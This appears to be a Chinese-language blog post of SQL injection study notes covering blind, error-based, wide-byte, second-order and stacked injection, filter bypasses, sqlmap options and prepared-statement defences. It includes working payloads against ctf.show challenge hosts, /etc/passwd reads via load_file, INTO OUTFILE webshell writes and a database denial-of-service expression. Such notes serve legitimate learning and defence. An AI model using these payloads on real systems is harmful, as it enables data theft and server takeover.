SQL注入

數(shù)據(jù)與代碼分離

盲注:沒(méi)有錯(cuò)誤回顯 or 返回頁(yè)面無(wú)差異

//根據(jù)返回結(jié)果判斷注入
id=2
id=2 and 1=2
id=2 and 1=1

基于時(shí)間的盲注:

BENCKMARK(count,expr)
sleep()
//笛卡爾積
(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E)
//正則dos
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
get_clock()

五種時(shí)間盲注

MYSQL注入

1.注釋符

#注釋從#字符到行尾;
--注釋從該字符到行尾慢洋,但是后面需要跟上一個(gè)或多個(gè)空格(空格隆箩、tag都可以)假残;
/* */注釋從/序列到后面的/序列中間的字符钝凶。
/* */中加語(yǔ)句:


2.元數(shù)據(jù)

information_schema數(shù)據(jù)庫(kù)的利用:

 //查數(shù)據(jù)庫(kù)
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1;      
//查表
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (select DATABASE());     
//查列名
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME='users';

3.UNION查詢

order byunion select查詢測(cè)列數(shù)和回顯位置

4.函數(shù)利用

load_file():讀文件
要求文件的位置必須在服務(wù)器上,文件必須為全路徑名稱(絕對(duì)路徑)敞曹,而且用戶必須持有FILE權(quán)限丧靡,文件容量也必須小于max_allowed_packet(默認(rèn)為16MB,最大為1GB)歉秫。

union select 1,load_file('/etc/passwd'),3,4,5,6 #
//過(guò)濾單引號(hào)
union select 1,2load_file(0x2F6574632F706173737764),3,4,5,6 #
union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6 #
//防止返回結(jié)果亂碼
select hex(load_file(char(99,58,92,49,46,116,120,116)));

into outfile() into dumpfile():寫(xiě)文件
要求仍然是必須持有FILE權(quán)限蛾洛,并且文件必須為全路徑名稱。

寫(xiě)文件到文件里:

select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php';
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php';

寫(xiě)文件到表里:

CREATE TABLE potatoes(line BLOB)
UNION SELECT 1,1,HEX(LOAD_FILE('/ext/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes

上面要求要?jiǎng)?chuàng)建表的權(quán)限端考。INTO DUMPFILEINTO OUTFILE的區(qū)別是:DUMPFILE適用于二進(jìn)制文件雅潭,它會(huì)將目標(biāo)文件寫(xiě)入同一行內(nèi)揭厚;而OUTFILE則更適用于文本文件。

concat() concat_ws():拼接字符串

concat()

concat_ws()

group_concat():縱向拼接

group_concat()

5.報(bào)錯(cuò)注入

updatexml()

updatexml(XML_document,XPath_string,new_value)

extractvalue()

extractvalue(XML_document,XPath_string)

floor()扶供、ceil()筛圆、round()配合rand()
https://www.cnblogs.com/wzy-ustc/p/14217750.html

6.寬字節(jié)注入

一般出現(xiàn)在PHP+MySQL中,出現(xiàn)的原因是編碼不統(tǒng)一椿浓。下面的分析是基于MySQL使用了GBK編碼這種寬字符集太援。
在PHP配置文件php.ini中存在magic_quotes_gpc選項(xiàng),被稱為魔術(shù)引號(hào)扳碍,當(dāng)此選項(xiàng)被打開(kāi)時(shí)提岔,使用GET、POST笋敞、Cookie所接收到的單引號(hào)'碱蒙、雙引號(hào)"、反斜線\NULL字符都會(huì)被自動(dòng)加上一個(gè)反斜線轉(zhuǎn)義夯巷。
那么輸入的'就會(huì)變?yōu)?code>\'赛惩,而MySQL認(rèn)為\'是一個(gè)字符,所以無(wú)法閉合之前的'從而達(dá)到注入的效果趁餐。但是如果輸入的是0xbf'喷兼,即0xbf27,單引號(hào)被轉(zhuǎn)義后變?yōu)?code>0xbf5c27(0x5c=\)后雷,而0xbf5c被MySQL解析為一個(gè)字符季惯,轉(zhuǎn)義字符\就被繞過(guò)了,單引號(hào)'成功閉合了臀突。
要解決這種問(wèn)題勉抓,需要統(tǒng)一數(shù)據(jù)庫(kù)、操作系統(tǒng)惧辈、Web應(yīng)用所使用的字符集琳状,以避免各層對(duì)字符的理解存在差異。統(tǒng)一設(shè)置為UTF-8是一個(gè)很好的方法盒齿。
基于字符集的攻擊并不局限于SQL注入,凡是會(huì)解析數(shù)據(jù)的地方都可能存在此問(wèn)題困食。比如在XSS攻擊時(shí)边翁,由于瀏覽器與服務(wù)器返回的字符編碼不同,也可能會(huì)存在字符集攻擊硕盹。解決方法就是在HTML頁(yè)面的<meta>標(biāo)簽中指定當(dāng)前頁(yè)面的charset符匾。

7.MySQL長(zhǎng)字符截?cái)?/h3>

在MySQL中的一個(gè)設(shè)置里有一個(gè)sql_mode選項(xiàng),當(dāng)sql_mode設(shè)置為default時(shí)瘩例,即沒(méi)有開(kāi)啟STRICT_ALL_TABLES選項(xiàng)時(shí)(MySQLsql_mode默認(rèn)即為default)啊胶,MySQL對(duì)插入超長(zhǎng)的值只會(huì)提示warning甸各,而不是error,這樣就可能會(huì)導(dǎo)致一些截?cái)鄦?wèn)題焰坪。
比如表如下:

CREATE TABLE USERS(
    id int(11) NOT NULL,
    username varchar(7) NOT NULL,
    password varchar(12) NOT NULL

正常的插入:

insert into users(id,username,password) values(1,'admin','admin');

惡意的插入:

//'admin   '右邊有3個(gè)空格趣倾,長(zhǎng)度為8
insert into users(id,username,password) values(1,'admin   ','admin');
//在上面的基礎(chǔ)上再加個(gè)x
insert into users(id,username,password) values(1,'admin   x','admin');

這時(shí)數(shù)據(jù)庫(kù)中有三個(gè)叫admin的用戶,只不過(guò)后面兩個(gè)的長(zhǎng)度為7某饰。也就是在默認(rèn)情況下儒恋,如果數(shù)據(jù)超出列默認(rèn)長(zhǎng)度,MySQL會(huì)將其截?cái)嗲5窃诓樵?code>username='admin'的時(shí)候诫尽,三個(gè)用戶都會(huì)被查詢出來(lái)。

攻擊方法:
假設(shè)管理員登陸的用戶名為admin炬守,那么攻擊者僅需要注冊(cè)一個(gè)"admin "用戶即可輕易進(jìn)入后臺(tái)管理頁(yè)面牧嫉,像著名的WordPress就被這樣的方式攻擊過(guò)。

8.UDF MOF提權(quán)

權(quán)限獲取
http://www.reibang.com/p/a00dd5240738

9.存儲(chǔ)過(guò)程

存儲(chǔ)過(guò)程是為了完成特定功能的SQL語(yǔ)句集减途,經(jīng)編譯創(chuàng)建并保存在數(shù)據(jù)庫(kù)中驹止,用戶可通過(guò)指定存儲(chǔ)過(guò)程的名字并給定參數(shù)(需要時(shí))來(lái)調(diào)用執(zhí)行。

存儲(chǔ)過(guò)程其實(shí)和UDF是很相似的观蜗,但存儲(chǔ)過(guò)程必須使用CALL或者EXECUTE來(lái)執(zhí)行臊恋。所以在某種意義上,存儲(chǔ)過(guò)程將為攻擊者提供很大的便利墓捻。
比如抖仅,在MS SQL Server中,存儲(chǔ)過(guò)程xp_cmdshell可以用來(lái)執(zhí)行系統(tǒng)命令砖第。

存儲(chǔ)過(guò)程不能防止SQL注入撤卢,參數(shù)化才能。

procedure get_item(
    itm_cv IN OUT ItmCurTyp,
    usr in varchar2,
    itm in varchar2)
is     open itm_cv for ' SELECT * FROM items  WHERE ' ||
                ' owner = ''' || usr ||
                ' AND itemname = ''' || itm || '''';
end get_item;

在這個(gè)存儲(chǔ)過(guò)程中梧兼,變量usritemname都是由外部傳入的放吩,且未經(jīng)過(guò)任何處理,將直接造成SQL注入問(wèn)題羽杰。

補(bǔ)充:
MySQL的HAVING子句在SELECT語(yǔ)句中是用來(lái)為某一組行或聚合指定過(guò)濾條件渡紫。
MySQL的HAVING子句通常與GROUP BY子句一起使用。當(dāng)它在GROUP BY子句中使用時(shí)考赛,我們可以應(yīng)用它在GROUP BY子句之后來(lái)指定過(guò)濾的條件惕澎。如果省略了GROUP BY子句,HAVING子句行為就像WHERE子句一樣颜骤。
請(qǐng)注意唧喉,HAVING子句應(yīng)用篩選條件每一個(gè)分組的行,而WHERE子句的過(guò)濾條件是過(guò)濾每個(gè)單獨(dú)的行。

10.二次注入

輸入一個(gè)帶引號(hào)的變量被存入數(shù)據(jù)庫(kù)八孝,那么第二次訪問(wèn)它就有可能把造成閉合董朝。
以PHP為例,PHP在開(kāi)啟magic_quotes_gpc后干跛,將會(huì)對(duì)特殊字符轉(zhuǎn)義子姜,比如將'轉(zhuǎn)義為\'。對(duì)于如下SQL語(yǔ)句:

$sql = "insert into users (id,username,password) values (20,'$title','$content')"驯鳖;

如果插入的title為secbug'闲询、content為secbug.org,那么SQL語(yǔ)句如下:

insert into users (id,username,password) values (20,'secbug\'','secbug.org');

單引號(hào)的確是成功轉(zhuǎn)義了浅辙,但是secbug\'在插入數(shù)據(jù)庫(kù)中以后卻沒(méi)有\


這時(shí)候如果再有一處查詢?yōu)椋?p>

select id,username,password from users where username='$username';

這時(shí)候單引號(hào)就成功閉合了扭弧,形成了SQL注入漏洞。

11.堆疊注入

就是兩句sql拼接记舆,中間;間隔鸽捻。

12.HTTP頭部注入

淺談http頭注入(附案例)

防御

1.預(yù)編譯語(yǔ)句綁定變量

java中:

String custname=request.getParameter("customerName");
String query="SELECT account_balance FROM user_data WHERE user_name= ? ";
PreparedStatement pstmt = =connection.prepareStatement(query);
pstmt.setString(1,custname);
ResultSet results=pstmt.executeQuery();

php中:

$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt=$myspli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1='Stuttgart';
$val2='DEU';
$val3='Baden-Wuerttemberg';
/* Execute the statement */
$stmt->execute();

2.使用安全的存儲(chǔ)過(guò)程

但需要注意的是,存儲(chǔ)過(guò)程中也可能會(huì)存在注入問(wèn)題泽腮,因此應(yīng)該盡量避免在存儲(chǔ)過(guò)程內(nèi)使用動(dòng)態(tài)的SQL語(yǔ)句御蒲。如果無(wú)法避免,則應(yīng)該使用嚴(yán)格的輸入過(guò)濾或者是編碼函數(shù)來(lái)處理用戶的輸入數(shù)據(jù)诊赊。
下面是一個(gè)在Java中調(diào)用存儲(chǔ)過(guò)程的例子厚满,其中sp_getAccountBalance是預(yù)先在數(shù)據(jù)庫(kù)中定義好的存儲(chǔ)過(guò)程:

String custname = request.getParameter("customerName");
try{
    CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
    cs.setString(1,custname);
    ResultSet results = cs.executeQuery();
    // ... result set handling
} catch (SQLException se) {
    // ... logging and error handling
}

3.檢查數(shù)據(jù)類(lèi)型

限制輸入為interger:

<?php
settype($offset,'interger');
$query = "SELECT id,name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";

//please note %d in the format string,using %s would be meaningless
$query = sprintf("SELECT id,name FROM products ORDER BY name LIMIT 20 OFFSET %d;",$offset);

?>

但是如果我們就是要輸入的是字符串就不太適用了。

4.使用安全函數(shù)

一般來(lái)說(shuō)碧磅,各種Web語(yǔ)言都實(shí)現(xiàn)了一些編碼函數(shù)碘箍,可以幫助對(duì)抗SQL注入。
同時(shí)鲸郊,可以參考OWASP ESAPI中的實(shí)現(xiàn):

Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM user_data WHERE user_name = ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("userID")) + " ' and user_passwd= ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("pwd")) + " ' ";

在最后丰榴,從數(shù)據(jù)庫(kù)自身的角度來(lái)說(shuō),應(yīng)該使用最小權(quán)限原則秆撮,避免Web應(yīng)用直接使用root四濒、dbowner等高權(quán)限賬戶直接連接數(shù)據(jù)庫(kù)。如果有多個(gè)不同的應(yīng)用在使用同一數(shù)據(jù)庫(kù)职辨,則也應(yīng)該為每個(gè)應(yīng)用分配不同的賬戶盗蟆。Web應(yīng)用使用的數(shù)據(jù)庫(kù)賬戶,不應(yīng)該有創(chuàng)建自定義函數(shù)拨匆、操作本地文件的權(quán)限姆涩。

繞過(guò)

返回結(jié)果過(guò)濾

to_base64()編碼返回結(jié)果

-1' union select 1,to_base64(username),password from ctfshow_user3 --+

再進(jìn)一步,replace替換返回結(jié)果中被過(guò)濾的值

大小寫(xiě)過(guò)濾

大小寫(xiě)繞過(guò)

空格過(guò)濾

/**/
%09(tab)
%0c換頁(yè)符
()

等號(hào)過(guò)濾

id=1 and 1=1
id=1 and(ord(1))
id=1 and 1 like 1
id=1 and 1 like '1'            //LIKE 通常與 % 一同使用惭每,類(lèi)似于一個(gè)元字符的搜索。
id=1 and 'abcde' regexp('a')

引號(hào)過(guò)濾

二次注入
寬字符注入
需要引號(hào)括起來(lái)的字符串寫(xiě)為16進(jìn)制
char()
兩個(gè)注入點(diǎn)時(shí),第一個(gè)反斜杠第二個(gè)為真注入點(diǎn)

數(shù)字過(guò)濾

使用true來(lái)過(guò)濾台腥。在mysql中宏赘,sql語(yǔ)句true為1,true+true=2黎侈,所以通過(guò)相加察署,任何字母我們都可以構(gòu)造出來(lái)。
那么先用一坨true表示十進(jìn)制數(shù)字峻汉,再使用char()轉(zhuǎn)換為字符贴汪,再用concat()拼接即可。

md5繞過(guò)

echo md5("ffifdyop",true);
//結(jié)果
'or'6é]?é!r,ùíb?
'or'6(后面的是不可見(jiàn)字符)

ascii()被過(guò)濾

ord()十進(jìn)制比較
regexp正則比較
like配上%進(jìn)行元字符匹配

substr()被過(guò)濾

left()
right()

一些補(bǔ)充知識(shí)點(diǎn)

在mysql和php中休吠,數(shù)字和字符串進(jìn)行比較時(shí)扳埂,當(dāng)這個(gè)字符串是一個(gè)無(wú)法轉(zhuǎn)換為數(shù)字的字符串,它就會(huì)被強(qiáng)制轉(zhuǎn)化為數(shù)字瘤礁,結(jié)果總是為0 阳懂。
在mysql的數(shù)字中,只有0是false柜思,其余都是true岩调。

一種騷操作:互換id和password,然后爆破:

alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
                        'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
                        'varchar(255);',

表名和字段名都可以用反引號(hào)引起來(lái)赡盘,這是用來(lái)區(qū)分MYSQL的保留字與普通字符号枕。 表名、字段名陨享、數(shù)據(jù)庫(kù)名等可用反引號(hào) ( ` )葱淳,也可以不使用反引號(hào) ,但如果它包含特殊字符或保留字霉咨,則必須使用蛙紫,如果不使用就會(huì)報(bào)錯(cuò)。

sqlmap使用

--user-agent指定ua
--refer指定refer
--data調(diào)整請(qǐng)求方式途戒?
--method調(diào)整請(qǐng)求方式(大寫(xiě))
--cookie指定cookie
--safe-url 設(shè)置在測(cè)試目標(biāo)地址前訪問(wèn)的安全鏈接
--safe-freq 設(shè)置兩次注入測(cè)試前訪問(wèn)安全鏈接的次數(shù)
sqlmap會(huì)幫我們閉合坑傅,sql關(guān)鍵字用的是大寫(xiě)
--os-shell
–os-shell 其本質(zhì)是寫(xiě)入兩個(gè)shell文件,其中一個(gè)可以命令執(zhí)行喷斋,另一個(gè)則是可以讓我們上傳文件唁毒;
不過(guò)也是有限制的,上傳文件我們需要受到兩個(gè)條件的限制星爪,一個(gè)是網(wǎng)站的絕對(duì)路徑浆西,另一個(gè)則是導(dǎo)入導(dǎo)出的權(quán)限
在mysql中,由 secure_file_priv 參數(shù)來(lái)控制導(dǎo)入導(dǎo)出權(quán)限顽腾,該參數(shù)后面為null時(shí)近零,則表示不允許導(dǎo)入導(dǎo)出诺核;如果是一個(gè)文件夾,則表示僅能在這個(gè)文件夾中導(dǎo)入導(dǎo)出久信;如果參數(shù)后面為空窖杀,也就是沒(méi)有值時(shí),則表示在任何文件夾都能導(dǎo)入導(dǎo)出

一些騷操作

1.procedure analyse()

  //分頁(yè)查詢
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

payload:

http://a4d802b0-9f96-436a-9019-353892921a86.challenge.ctf.show:8080/api/?page=1&limit=10 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)

procedure analyse()知識(shí)點(diǎn)

2.handler()語(yǔ)句

payload:

http://e2dcbccb-a399-4336-8102-60aa9e5c00c5.challenge.ctf.show:8080/api/?username=ctfshow';show%20tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

handler()知識(shí)點(diǎn)

3.預(yù)處理語(yǔ)句

payload:

http://e2dcbccb-a399-4336-8102-60aa9e5c00c5.challenge.ctf.show:8080/api/?username=';prepare p from concat('s','elect',' * from ctfshow_flagasa');execute p;

預(yù)處理語(yǔ)句

from后面可以直接跟16進(jìn)制字符串:

http://0d6ac274-9bb0-4a78-8378-4549d3fdd18c.challenge.ctf.show:8080/api/?username=';prepare p from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute p;
//也就是
 http://0d6ac274-9bb0-4a78-8378-4549d3fdd18c.challenge.ctf.show:8080/api/?username=';prepare p from select * from ctfsh_ow_flagas;execute p;

4.調(diào)用存儲(chǔ)過(guò)程

先查存儲(chǔ)過(guò)程:

http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';prepare p from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute p;
//也就是
http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';prepare p from select * from information_schema.routines;execute p;

再調(diào)用:

http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';call getFlag();

5.其他數(shù)據(jù)庫(kù)統(tǒng)計(jì)信息

數(shù)據(jù)庫(kù)統(tǒng)計(jì)信息

//查表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

6.無(wú)列名查詢

//查數(shù)據(jù)
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)#

7.into outfile的擴(kuò)展選項(xiàng)利用

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]
 
export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

/***********************************************************/

“OPTION”參數(shù)為可選參數(shù)選項(xiàng)裙士,其可能的取值有:
 
`FIELDS TERMINATED BY '字符串'`:設(shè)置字符串為字段之間的分隔符入客,可以為單個(gè)或多個(gè)字符。默認(rèn)值是“\t”腿椎。
 
`FIELDS ENCLOSED BY '字符'`:設(shè)置字符來(lái)括住字段的值桌硫,只能為單個(gè)字符。默認(rèn)情況下不使用任何符號(hào)啃炸。
 
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:設(shè)置字符來(lái)括住CHAR铆隘、VARCHAR和TEXT等字符型字段。默認(rèn)情況下不使用任何符號(hào)肮帐。
 
`FIELDS ESCAPED BY '字符'`:設(shè)置轉(zhuǎn)義字符咖驮,只能為單個(gè)字符。默認(rèn)值為“\”训枢。
 
`LINES STARTING BY '字符串'`:設(shè)置每行數(shù)據(jù)開(kāi)頭的字符托修,可以為單個(gè)或多個(gè)字符。默認(rèn)情況下不使用任何字符恒界。
 
`LINES TERMINATED BY '字符串'`:設(shè)置每行數(shù)據(jù)結(jié)尾的字符睦刃,可以為單個(gè)或多個(gè)字符。默認(rèn)值是“\n”十酣。

基于如下場(chǎng)景:

  //備份表
  $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
  //無(wú)過(guò)濾

可構(gòu)造如下注入涩拙,在1.php中寫(xiě)入木馬:

filename=1.php' fields terminated by '<?php eval($_REQUEST[1]);?>'#
//除了fields terminates by以外,lines starting by 和 lines terminated by都可以耸采,用法和上面的一樣

或者寫(xiě)入.user.ini(;表示單行注釋):

filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#
//也就是如下語(yǔ)句掂林,只不過(guò)在`auto_prepend_file=1.jpg`前后加了%0a用于換行菠发,保證注入的內(nèi)容單獨(dú)在一行
filename=.user.ini' lines starting by ';' terminated by "auto_prepend_file=1.jpg"#

然后上傳圖片馬即可:

filename=1.jpg' lines starting by '<?=eval($_POST[1]);?>'#
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子赖阻,更是在濱河造成了極大的恐慌藏鹊,老刑警劉巖栏渺,帶你破解...
    沈念sama閱讀 217,657評(píng)論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件瘩将,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡搪泳,警方通過(guò)查閱死者的電腦和手機(jī)稀轨,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,889評(píng)論 3 394
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)岸军,“玉大人奋刽,你說(shuō)我怎么就攤上這事瓦侮。” “怎么了杨名?”我有些...
    開(kāi)封第一講書(shū)人閱讀 164,057評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵脏榆,是天一觀的道長(zhǎng)猖毫。 經(jīng)常有香客問(wèn)我台谍,道長(zhǎng),這世上最難降的妖魔是什么吁断? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,509評(píng)論 1 293
  • 正文 為了忘掉前任趁蕊,我火速辦了婚禮,結(jié)果婚禮上仔役,老公的妹妹穿的比我還像新娘掷伙。我一直安慰自己,他們只是感情好又兵,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,562評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布任柜。 她就那樣靜靜地躺著,像睡著了一般沛厨。 火紅的嫁衣襯著肌膚如雪宙地。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,443評(píng)論 1 302
  • 那天逆皮,我揣著相機(jī)與錄音宅粥,去河邊找鬼。 笑死电谣,一個(gè)胖子當(dāng)著我的面吹牛秽梅,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播剿牺,決...
    沈念sama閱讀 40,251評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼企垦,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了晒来?” 一聲冷哼從身側(cè)響起钞诡,我...
    開(kāi)封第一講書(shū)人閱讀 39,129評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎潜索,沒(méi)想到半個(gè)月后臭增,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,561評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡竹习,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,779評(píng)論 3 335
  • 正文 我和宋清朗相戀三年誊抛,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片整陌。...
    茶點(diǎn)故事閱讀 39,902評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡拗窃,死狀恐怖瞎领,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情随夸,我是刑警寧澤九默,帶...
    沈念sama閱讀 35,621評(píng)論 5 345
  • 正文 年R本政府宣布,位于F島的核電站宾毒,受9級(jí)特大地震影響驼修,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜诈铛,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,220評(píng)論 3 328
  • 文/蒙蒙 一乙各、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧幢竹,春花似錦耳峦、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,838評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至邑飒,卻和暖如春循签,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背幸乒。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,971評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工懦底, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人罕扎。 一個(gè)月前我還...
    沈念sama閱讀 48,025評(píng)論 2 370
  • 正文 我出身青樓聚唐,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親腔召。 傳聞我的和親對(duì)象是個(gè)殘疾皇子杆查,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,843評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • 參考:https://blog.csdn.net/solitudi/article/details/1101446...
    一碗海鮮湯閱讀 2,064評(píng)論 1 1
  • 對(duì)于注入攻擊,一個(gè)最基礎(chǔ)的安全設(shè)計(jì)原則就是“數(shù)據(jù)與代碼分離”臀蛛。帶著這個(gè)思想去學(xué)習(xí)亲桦,可能會(huì)理解地更透徹。 注入攻擊的...
    一碗海鮮湯閱讀 338評(píng)論 0 0
  • 一浊仆、sql注入原理 SQL 注入就是指 web 應(yīng)用程序?qū)τ脩糨斎氲臄?shù)據(jù)合法性沒(méi)有過(guò)濾或者是判斷客峭,前端傳入的參數(shù)是...
    卿酌南燭_b805閱讀 4,142評(píng)論 0 2
  • 什么是SQL 注入速查表? SQL 注入速查表是可以為你提供關(guān)于不同種類(lèi)SQL 注入漏洞的詳細(xì)信息的一個(gè)資源抡柿。這份...
    nayli閱讀 1,149評(píng)論 0 5
  • SQL注入的優(yōu)化和繞過(guò): 0x00 ~ 介紹 SQL注入毫無(wú)疑問(wèn)是最危險(xiǎn)的Web漏洞之一舔琅,因?yàn)槲覀儗⑺行畔⒍即鎯?chǔ)...
    CanMeng閱讀 1,055評(píng)論 0 1